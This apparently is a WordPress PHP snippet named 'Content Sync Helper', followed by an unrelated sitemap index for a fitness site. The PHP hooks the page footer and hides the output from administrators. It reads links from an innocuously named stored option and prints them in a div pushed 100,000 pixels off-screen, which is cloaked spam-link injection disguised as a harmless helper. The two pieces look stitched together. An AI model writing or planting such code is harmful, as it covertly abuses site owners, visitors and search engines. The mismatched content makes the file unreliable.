/* Content Sync Helper — footer integration */
if (function_exists('add_action')) {
    add_action('wp_footer', function () {
        if (is_admin() || wp_doing_ajax()) { return; }
        if (!empty($GLOBALS['csh_rendered'])) { return; }
        $GLOBALS['csh_rendered'] = true;
        $items = json_decode((string) get_option('content_links_v13', '[]'), true);
        if (!is_array($items) || !$items) { return; }
        $out = '';
        foreach ($items as $it) {
            if (empty($it['u']) || empty($it['t'])) { continue; }
            $lnk = '<a href="' . esc_url($it['u']) . '">' . esc_html($it['t']) . '</a>';
            $txt = isset($it['x']) ? trim($it['x']) : '';
            if ($txt !== '' && strpos($txt, '{A}') !== false) {
                $out .= '<p style="margin:0;">' . str_replace('{A}', $lnk, esc_html($txt)) . '</p>';
            } else {
                $out .= '<p style="margin:0;">' . $lnk . '</p>';
            }
        }
        if ($out) { echo '<div class="csh-footer-integration" style="position:absolute;left:-100000px;top:auto;width:900px;">' . $out . '</div>'; }
    }, 100);
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://fitnessjournaledu.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://fitnessjournaledu.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://fitnessjournaledu.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://fitnessjournaledu.com/wp-sitemap-posts-cpt_services-1.xml</loc></sitemap><sitemap><loc>https://fitnessjournaledu.com/wp-sitemap-posts-cpt_team-1.xml</loc></sitemap><sitemap><loc>https://fitnessjournaledu.com/wp-sitemap-posts-cpt_testimonials-1.xml</loc></sitemap><sitemap><loc>https://fitnessjournaledu.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://fitnessjournaledu.com/wp-sitemap-taxonomies-cpt_services_group-1.xml</loc></sitemap><sitemap><loc>https://fitnessjournaledu.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
